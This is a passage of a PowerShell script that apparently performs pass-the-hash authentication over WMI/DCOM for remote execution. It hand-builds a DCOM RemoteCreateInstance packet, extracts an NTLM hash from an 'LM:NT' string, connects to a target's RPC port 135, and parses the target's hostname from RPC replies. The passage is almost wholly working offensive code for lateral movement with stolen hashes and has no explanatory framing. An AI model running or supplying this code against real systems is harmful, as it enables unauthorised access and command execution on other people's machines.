[System.Text.Encoding]::Unicode.GetBytes($packet_target)\r\n    [Byte[]]$packet_target_length = [System.BitConverter]::GetBytes($packet_target.Length + 1)\r\n    $packet_target_unicode += ,0x00 * (([Math]::Truncate($packet_target_unicode.Length / 8 + 1) * 8) - $packet_target_unicode.Length)\r\n    [Byte[]]$packet_cntdata = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 720)\r\n    [Byte[]]$packet_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 680)\r\n    [Byte[]]$packet_total_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 664)\r\n    [Byte[]]$packet_private_header = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 40) + 0x00,0x00,0x00,0x00\r\n    [Byte[]]$packet_property_data_size = [System.BitConverter]::GetBytes($packet_target_unicode.Length + 56)\r\n\r\n    $packet_DCOMRemoteCreateInstance = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_DCOMRemoteCreateInstance.Add(\"DCOMVersionMajor\",[Byte[]](0x05,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"DCOMVersionMinor\",[Byte[]](0x07,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"DCOMFlags\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"DCOMReserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"DCOMCausalityID\",$packet_causality_ID)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"Unknown\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"Unknown2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"Unknown3\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"Unknown4\",$packet_cntdata)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCntData\",$packet_cntdata)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesOBJREFSignature\",[Byte[]](0x4d,0x45,0x4f,0x57))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesOBJREFFlags\",[Byte[]](0x04,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesOBJREFIID\",[Byte[]](0xa2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFCLSID\",[Byte[]](0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFCBExtension\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFSize\",$packet_size)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize\",$packet_total_size)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesReserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader\",[Byte[]](0xb0,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize\",$packet_total_size)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize\",[Byte[]](0xc0,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs\",[Byte[]](0x06,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID\",[Byte[]](0x04,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount\",[Byte[]](0x06,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid\",[Byte[]](0xb9,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2\",[Byte[]](0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3\",[Byte[]](0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4\",[Byte[]](0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5\",[Byte[]](0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6\",[Byte[]](0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount\",[Byte[]](0x06,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize\",[Byte[]](0x68,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2\",[Byte[]](0x58,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3\",[Byte[]](0x90,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4\",$packet_property_data_size)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5\",[Byte[]](0x20,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6\",[Byte[]](0x30,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader\",[Byte[]](0x58,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID\",[Byte[]](0xff,0xff,0xff,0xff))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext\",[Byte[]](0x14,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader\",[Byte[]](0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId\",[Byte[]](0x5e,0xf0,0xc3,0x8b,0x6b,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext\",[Byte[]](0x14,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize\",[Byte[]](0x58,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor\",[Byte[]](0x05,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor\",[Byte[]](0x07,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds\",[Byte[]](0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader\",[Byte[]](0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown\",[Byte[]](0x60,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData\",[Byte[]](0x60,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature\",[Byte[]](0x4d,0x45,0x4f,0x57))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags\",[Byte[]](0x04,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID\",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID\",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize\",[Byte[]](0x30,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer\",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader\",$packet_private_header)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID\",[Byte[]](0x04,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount\",$packet_target_length)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount\",$packet_target_length)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString\",$packet_target_unicode)\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader\",[Byte[]](0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader\",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader\",[Byte[]](0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID\",[Byte[]](0x00,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel\",[Byte[]](0x02,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences\",[Byte[]](0x01,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown\",[Byte[]](0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID\",[Byte[]](0x04,0x00,0x02,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq\",[Byte[]](0x07,0x00))\r\n    $packet_DCOMRemoteCreateInstance.Add(\"IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00))\r\n\r\n    return $packet_DCOMRemoteCreateInstance\r\n}\r\n\r\nfunction Get-UInt16DataLength\r\n{\r\n    param ([Int]$Start,[Byte[]]$Data)\r\n\r\n    $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)\r\n\r\n    return $data_length\r\n}\r\n\r\nif($hash -like \"*:*\")\r\n{\r\n    $hash = $hash.SubString(($hash.IndexOf(\":\") + 1),32)\r\n}\r\n\r\nif($Domain)\r\n{\r\n    $output_username = $Domain + \"\\\" + $Username\r\n}\r\nelse\r\n{\r\n    $output_username = $Username\r\n}\r\n\r\nif($Target -eq 'localhost')\r\n{\r\n    $Target = \"127.0.0.1\"\r\n}\r\n\r\ntry\r\n{\r\n    $target_type = [IPAddress]$Target\r\n    $target_short = $target_long = $Target\r\n}\r\ncatch\r\n{\r\n    $target_long = $Target\r\n\r\n    if($Target -like \"*.*\")\r\n    {\r\n        $target_short_index = $Target.IndexOf(\".\")\r\n        $target_short = $Target.Substring(0,$target_short_index)\r\n    }\r\n    else\r\n    {\r\n        $target_short = $Target\r\n    }\r\n\r\n}\r\n\r\n$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id\r\n$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))\r\n$process_ID = $process_ID -replace \"-00-00\",\"\"\r\n[Byte[]]$process_ID_bytes = $process_ID.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\nWrite-Verbose \"Connecting to $Target`:135\"\r\n$WMI_client_init = New-Object System.Net.Sockets.TCPClient\r\n$WMI_client_init.Client.ReceiveTimeout = 30000\r\n\r\ntry\r\n{\r\n    $WMI_client_init.Connect($Target,\"135\")\r\n}\r\ncatch\r\n{\r\n    Write-Output \"[-] $Target did not respond\"\r\n}\r\n\r\nif($WMI_client_init.Connected)\r\n{\r\n    $WMI_client_stream_init = $WMI_client_init.GetStream()\r\n    $WMI_client_receive = New-Object System.Byte[] 2048\r\n    $RPC_UUID = 0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a\r\n    $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00\r\n    $packet_RPC[\"FragLength\"] = 0x74,0x00    \r\n    $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n    $WMI_client_send = $RPC\r\n    $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n    $WMI_client_stream_init.Flush()    \r\n    $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n    $assoc_group = $WMI_client_receive[20..23]\r\n    $packet_RPC = New-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00\r\n    $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC\r\n    $WMI_client_send = $RPC\r\n    $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null\r\n    $WMI_client_stream_init.Flush()    \r\n    $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null\r\n    $WMI_hostname_unicode = $WMI_client_receive[42..$WMI_client_receive.Length]\r\n    $WMI_hostname = [System.BitConverter]::ToString($WMI_hostname_unicode)\r\n    $WMI_hostname_index = $WMI_hostname.IndexOf(\"-00-00-00\")\r\n    $WMI_hostname = $WMI_hostname.SubString(0,$WMI_hostname_index)\r\n    $WMI_hostname = $WMI_hostname -replace \"-00\",\"\"\r\n    $WMI_hostname = $WMI_hostname.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n    $WMI_hostname = New-Object System.String ($WMI_hostname,0,$WMI_hostname.Length)\r\n\r\n    if($target_short -cne $WMI_hostname)\r\n    {\r\n        Write-Verbose \"WMI reports target hostname as $WMI_hostname\"\r\n        $target_short = $WMI_hostname\r\n    }\r\n\r\n    $WMI_client_init.Close()\r\n    $WMI_client_stream_init.Close()\r\n    $WMI_client = New-Object System.Net.Sockets.TCPClient\r\n    $WMI_client.Client.ReceiveTimeout = 30000\r\n\r\n    try\r\n    {\r\n        $WMI_client.Connect($target_long,\"135\")\r\n    }\r\n    catch\r\n    {\r\n        